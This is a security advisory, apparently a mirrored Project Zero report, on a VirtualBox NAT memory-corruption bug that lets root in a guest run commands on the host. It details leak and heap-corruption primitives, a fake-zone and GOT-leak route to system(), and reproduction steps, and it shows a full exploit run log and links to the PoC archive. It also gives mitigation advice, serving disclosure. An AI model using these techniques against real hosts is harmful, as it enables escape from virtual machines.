318 lines
No EOL
13 KiB
Text
318 lines
No EOL
13 KiB
Text
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1086
|
|
|
|
There is a vulnerability in VirtualBox that permits an attacker with
|
|
root privileges in a virtual machine with a NAT network interface to
|
|
corrupt the memory of the userspace host process and leak memory
|
|
contents from the userspace host process. This probably permits an
|
|
attacker with root privileges inside the guest to execute arbitrary
|
|
code in userspace context on the host.
|
|
|
|
The issue is in the copy of slirp that is shipped in VirtualBox, in
|
|
the function ip_input() in src/VBox/Devices/Network/slirp/ip_input.c:
|
|
|
|
void
|
|
ip_input(PNATState pData, struct mbuf *m)
|
|
{
|
|
register struct ip *ip;
|
|
[...]
|
|
ip = mtod(m, struct ip *);
|
|
[...]
|
|
{
|
|
[...]
|
|
/*
|
|
* XXX: TODO: this is most likely a leftover spooky action at
|
|
* a distance from alias_dns.c host resolver code and can be
|
|
* g/c'ed.
|
|
*/
|
|
if (m->m_len != RT_N2H_U16(ip->ip_len))
|
|
m->m_len = RT_N2H_U16(ip->ip_len);
|
|
}
|
|
[...]
|
|
}
|
|
|
|
This code does not seem to be present in the upstream version of
|
|
slirp.
|
|
|
|
The assignment `m->m_len = RT_N2H_U16(ip->ip_len)` overwrites the
|
|
trusted length field `m_len` of the buffer `m` with the untrusted
|
|
length field in the IP header of the received packet. At this point,
|
|
the IP header has not been validated at all. All following code that
|
|
processes packets relies on the correctness of `m->m_len`, so by
|
|
sending an IP header with a bogus length field, an attacker can cause
|
|
all following code to operate on out-of-bounds data.
|
|
|
|
In particular, an attacker can use this bug to obtain the following
|
|
attack primitives:
|
|
|
|
- The attacker can leak out-of-bounds heap data by sending a UDP
|
|
packet to a host on the internet with checksum 0 and a bogus length
|
|
field in the IP header.
|
|
The host process will send a (possibly fragmented) UDP packet to
|
|
the specified host on the internet that includes out-of-bounds heap
|
|
data.
|
|
This method requires a cooperating host on the internet that the VM
|
|
can talk to using the NAT network interface.
|
|
- The attacker can leak out-of-bounds heap data by sending an ICMP
|
|
Echo Request with a bogus length field in the IP header
|
|
to the CTL_DNS address. The VM host then responds with an ICMP Echo
|
|
Reply that includes out-of-bounds heap data.
|
|
This approach has the advantage of not requiring a cooperating,
|
|
reachable server on the internet, but has the disadvantage that
|
|
the attacker needs to guess the 16-bit ICMP checksum.
|
|
- The attacker can corrupt the heap by sending a UDP packet with a
|
|
bogus length whose IP header contains IP options. The host process
|
|
will then attempt to strip the IP headers via ip_input -> udp_input
|
|
-> ip_stripoptions -> memcpy, which moves the IP payload - including
|
|
out-of-bounds heap data - to a lower address. This can
|
|
in particular be abused to overwrite a slirp heap chunk header
|
|
(struct item) with attacker-controlled packet data.
|
|
|
|
I have attached a crash PoC. Copy it into a VM whose only network
|
|
interface is a NAT interface, compile it with
|
|
"gcc -o crasher crasher.c" and run it with "sudo ./crasher". The VM
|
|
should die after a few seconds, with something like this appearing in
|
|
dmesg on the host:
|
|
|
|
[107463.674598] traps: EMT-0[66638] general protection ip:7fc6a26076e8 sp:7fc6d2e27ad0 error:0 in VBoxDD.so[7fc6a24e2000+36d000]
|
|
|
|
I have tested my crasher in VirtualBox version "5.1.14 r112924".
|
|
|
|
The bug was introduced in SVN revision
|
|
<https://www.virtualbox.org/changeset/23155/vbox>.
|
|
|
|
################################################################################
|
|
|
|
Without modifications,
|
|
the exploit should work under the following conditions:
|
|
|
|
- host runs Ubuntu 14.04 (trusty), 64-bit
|
|
- host uses libc6 package version 2.19-0ubuntu6.9 (most recent
|
|
version)
|
|
- VirtualBox version is 5.1.14~112924~Ubuntu~trusty (official build)
|
|
(most recent version)
|
|
- guest runs Linux
|
|
- main network interface of the VM is a NAT interface (default
|
|
config)
|
|
|
|
The exploit is able to run an arbitrary shell command on the host
|
|
system. The command is hardcoded to "id > /tmp/owned_from_guest".
|
|
|
|
|
|
Some things about the exploit that might be of interest to you:
|
|
|
|
The exploit operates on memory that belongs to the zone zone_clust of
|
|
the UMA heap.
|
|
The UMA heap is relatively easy to attack, partly because the sanity
|
|
checks are compiled out in userland code in release builds. For
|
|
example, the check
|
|
`Assert((zone->magic == ZONE_MAGIC && zone == it->zone))` in
|
|
uma_zfree_arg() becomes a no-op, and the LIST_CHECKs in LIST_REMOVE()
|
|
have no effect. In particular, because the `zone == it->zone`
|
|
assertion is not compiled into release builds, an attacker who can
|
|
overwrite an item header and point its member ->zone to a controlled
|
|
memory area can cause an arbitrary function it->zone->pfFini to be
|
|
called when the item whose header was overwritten is freed.
|
|
It might make sense to turn assertions in the allocator into something
|
|
that is also active in release builds.
|
|
|
|
For exploiting the bug, it was very helpful that the VirtualBox binary
|
|
is built as non-relocatable, meaning that the binary is always loaded
|
|
at the same virtual address. The exploit uses a hardcoded address to
|
|
leak the contents of the GOT (global offset table), which can then be
|
|
used to locate the addresses of libc functions.
|
|
It's probably a good idea to build the VirtualBox binaries as
|
|
relocatable code to prevent attacks from simply using
|
|
hardcoded addresses - and this mitigation is pretty simple to
|
|
implement, you just have to add some compiler flags (`-pie -fPIE`
|
|
or so). To verify that it's working, run VirtualBox, then as root,
|
|
grep the contents of /proc/{pid of VirtualBox}/maps for VirtualBox and
|
|
verify that the mappings don't have low ranges like 00400000-00408000,
|
|
but use high addresses like 7ffb0f62e000 instead.
|
|
|
|
As far as I can tell from the source, on a Linux or Mac host, an
|
|
attacker who has compromised the VM host process can also run
|
|
arbitrary code in the host kernel using the ioctls SUP_IOCTL_LDR_OPEN
|
|
and SUP_IOCTL_LDR_LOAD. If that is indeed the case, it might make
|
|
sense to reduce the privileges of the userland host code by
|
|
sandboxing components like the shared folder host and the NAT
|
|
implementation and/or by rearchitecting VirtualBox so that the host
|
|
kernel doesn't trust the host userland binary.
|
|
|
|
|
|
To reproduce the bug with the attached exploit:
|
|
|
|
- On the host or some other box on the internet, compile and run the
|
|
helper:
|
|
|
|
$ gcc -o helper helper.c -Wall
|
|
$ ./helper
|
|
|
|
- In the guest, compile the exploit:
|
|
|
|
# gcc -o bcs bcs.c -Wall -std=gnu99
|
|
|
|
(This may throw some harmless format string warnings depending on
|
|
whether the guest is 64-bit.)
|
|
|
|
- To improve reliability, ensure that the guest isn't
|
|
running any network services or clients, save the guest VM and
|
|
restore it. (Saving and restoring the guest resets the Slirp heap.)
|
|
|
|
- In the guest, as root, run the exploit. Pass the helper host's IP
|
|
address as argument.
|
|
|
|
# ./bcs xxx.xxx.xxx.xxx
|
|
|
|
- If the exploit was successful, there should be a new file
|
|
"/tmp/owned_from_guest" on the host that contains the output of the
|
|
"id" command.
|
|
|
|
A successful run of the exploit should look like this:
|
|
|
|
==================================================================
|
|
# ./bcs {censored}
|
|
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* dev \([^ ]*\) .*|\1|' | tr -d '\n'>>>
|
|
enp0s3
|
|
================================
|
|
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* src \([^ ]*\) .*|\1|' | tr -d '\n'>>>
|
|
10.0.2.15
|
|
================================
|
|
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* via \([^ ]*\) .*|\1|' | tr -d '\n'>>>
|
|
10.0.2.2
|
|
================================
|
|
systemf: <<<ping -c3 -w4 10.0.2.2>>>
|
|
PING 10.0.2.2 (10.0.2.2) 56(84) bytes of data.
|
|
64 bytes from 10.0.2.2: icmp_seq=2 ttl=64 time=0.375 ms
|
|
64 bytes from 10.0.2.2: icmp_seq=3 ttl=64 time=0.277 ms
|
|
64 bytes from 10.0.2.2: icmp_seq=4 ttl=64 time=0.297 ms
|
|
|
|
--- 10.0.2.2 ping statistics ---
|
|
4 packets transmitted, 3 received, 25% packet loss, time 3054ms
|
|
rtt min/avg/max/mdev = 0.277/0.316/0.375/0.044 ms
|
|
|
|
================================
|
|
systemf: <<<arp -s 10.0.2.2 01:23:45:67:89:ab>>>
|
|
systemf: <<<iptables -I OUTPUT -o enp0s3 -j DROP>>>
|
|
defragging...
|
|
defragged
|
|
trying to leak...
|
|
|
|
got UDP, len=68
|
|
leak_udp successful
|
|
got data
|
|
00000000 01 00 ad de 00 00 00 00 00 e6 b4 48 56 7f 00 00 |...........HV...|
|
|
00000010 01 00 00 00 00 00 00 00 58 3e 26 35 56 7f 00 00 |........X>&5V...|
|
|
00000020 18 2e 26 35 56 7f 00 00 |..&5V...|
|
|
00000028
|
|
magic: 0xdead0001
|
|
zone: 0x7f5648b4e600
|
|
refcount: 0x1
|
|
next: 0x7f5635263e58
|
|
prev: 0x7f5635262e00
|
|
defragging...
|
|
defragged
|
|
placed shell command at 0x7f5635263676
|
|
freelist head at 0x7f5648b4e690
|
|
trying to leak...
|
|
|
|
got UDP, len=68
|
|
leak_udp successful
|
|
got data
|
|
00000000 01 00 ad de 00 00 00 00 00 e6 b4 48 56 7f 00 00 |...........HV...|
|
|
00000010 01 00 00 00 00 00 00 00 a0 ec 25 35 56 7f 00 00 |..........%5V...|
|
|
00000020 60 dc 25 35 56 7f 00 00 |`.%5V...|
|
|
00000028
|
|
magic: 0xdead0001
|
|
zone: 0x7f5648b4e600
|
|
refcount: 0x1
|
|
next: 0x7f563525eca0
|
|
prev: 0x7f563525dc48
|
|
defragging...
|
|
defragged
|
|
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525fd42, fake_zone at 0x7f563525fd4a
|
|
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525f516, fake_zone at 0x7f563525f51e
|
|
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525ecea, fake_zone at 0x7f563525ecf2
|
|
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525e4be, fake_zone at 0x7f563525e4c6
|
|
send_udp_datashift(shift_amount=40, data_length=9368)
|
|
send_udp_datashift(shift_amount=36, data_length=9368)
|
|
sending packet2, ip_off=0x28, ip_id=0x1a
|
|
trying to leak GOT from fake chunk...
|
|
|
|
got UDP, len=540
|
|
leak_udp successful
|
|
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
|
*
|
|
00000200
|
|
defragging...
|
|
defragged
|
|
|
|
got UDP, len=540
|
|
leak_udp successful
|
|
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
|
00000010 b0 09 c0 97 56 7f 00 00 b6 0f 40 00 00 00 00 00 |....V.....@.....|
|
|
00000020 10 9d c3 97 56 7f 00 00 a0 a0 c3 97 56 7f 00 00 |....V.......V...|
|
|
00000030 e6 0f 40 00 00 00 00 00 90 28 c7 97 56 7f 00 00 |..@......(..V...|
|
|
00000040 20 9d c3 97 56 7f 00 00 e0 03 15 98 56 7f 00 00 | ...V.......V...|
|
|
00000050 26 10 40 00 00 00 00 00 36 10 40 00 00 00 00 00 |&.@.....6.@.....|
|
|
00000060 50 9e b9 97 56 7f 00 00 56 10 40 00 00 00 00 00 |P...V...V.@.....|
|
|
00000070 80 30 c6 97 56 7f 00 00 10 fc c0 97 56 7f 00 00 |.0..V.......V...|
|
|
00000080 86 10 40 00 00 00 00 00 96 10 40 00 00 00 00 00 |..@.......@.....|
|
|
00000090 c0 fe c0 97 56 7f 00 00 80 2c c7 97 56 7f 00 00 |....V....,..V...|
|
|
000000a0 d0 9f c3 97 56 7f 00 00 30 9d c3 97 56 7f 00 00 |....V...0...V...|
|
|
000000b0 60 28 c7 97 56 7f 00 00 90 e0 f3 97 56 7f 00 00 |`(..V.......V...|
|
|
000000c0 70 c8 c6 97 56 7f 00 00 16 11 40 00 00 00 00 00 |p...V.....@.....|
|
|
000000d0 30 0c c8 97 56 7f 00 00 a0 c8 c6 97 56 7f 00 00 |0...V.......V...|
|
|
000000e0 60 c9 c6 97 56 7f 00 00 d0 0b 15 98 56 7f 00 00 |`...V.......V...|
|
|
000000f0 66 11 40 00 00 00 00 00 76 11 40 00 00 00 00 00 |f.@.....v.@.....|
|
|
00000100 86 11 40 00 00 00 00 00 96 11 40 00 00 00 00 00 |..@.......@.....|
|
|
00000110 50 e1 f3 97 56 7f 00 00 b6 11 40 00 00 00 00 00 |P...V.....@.....|
|
|
00000120 c6 11 40 00 00 00 00 00 00 00 00 00 00 00 00 00 |..@.............|
|
|
00000130 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 |................|
|
|
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
|
*
|
|
00000160 00 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 |................|
|
|
00000170 00 00 00 00 22 05 08 20 00 20 00 00 88 13 00 00 |....".. . ......|
|
|
00000180 81 cb 05 00 02 00 00 00 b9 4b 40 00 00 00 00 00 |.........K@.....|
|
|
00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
|
000001a0 00 00 00 00 00 00 00 00 2f 75 73 72 2f 6c 69 62 |......../usr/lib|
|
|
000001b0 2f 76 69 72 74 75 61 6c 62 6f 78 00 56 69 72 74 |/virtualbox.Virt|
|
|
000001c0 75 61 6c 42 6f 78 00 00 00 00 00 00 00 00 00 00 |ualBox..........|
|
|
000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
|
*
|
|
00000200
|
|
strlen at 0x7f5697c009b0
|
|
system() at 0x7f5697bbe590
|
|
calling system()...
|
|
defragging...
|
|
defragged
|
|
trying to leak...
|
|
|
|
got UDP, len=68
|
|
leak_udp successful
|
|
got data
|
|
00000000 01 00 ad de 00 00 00 00 00 e6 b4 48 56 7f 00 00 |...........HV...|
|
|
00000010 01 00 00 00 00 00 00 00 84 cd 0f 35 56 7f 00 00 |...........5V...|
|
|
00000020 44 bd 0f 35 56 7f 00 00 |D..5V...|
|
|
00000028
|
|
magic: 0xdead0001
|
|
zone: 0x7f5648b4e600
|
|
refcount: 0x1
|
|
next: 0x7f56350fcd84
|
|
prev: 0x7f56350fbd2c
|
|
defragging...
|
|
defragged
|
|
fake zone packet item at 0x7f56350fc558, dummy_next at 0x7f56350fc5a2, fake_zone at 0x7f56350fc5aa
|
|
send_udp_datashift(shift_amount=40, data_length=3092)
|
|
send_udp_datashift(shift_amount=36, data_length=3092)
|
|
sending packet2, ip_off=0xa, ip_id=0x27
|
|
did that work?
|
|
systemf: <<<iptables -D OUTPUT -o enp0s3 -j DROP>>>
|
|
==================================================================
|
|
|
|
If the exploit crashes, you'll have to remove the firewall rule the
|
|
exploit added with `iptables -D OUTPUT -o {interface} -j DROP` inside
|
|
the VM to restore network connectivity.
|
|
|
|
|
|
Proof of Concept:
|
|
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41904.zip |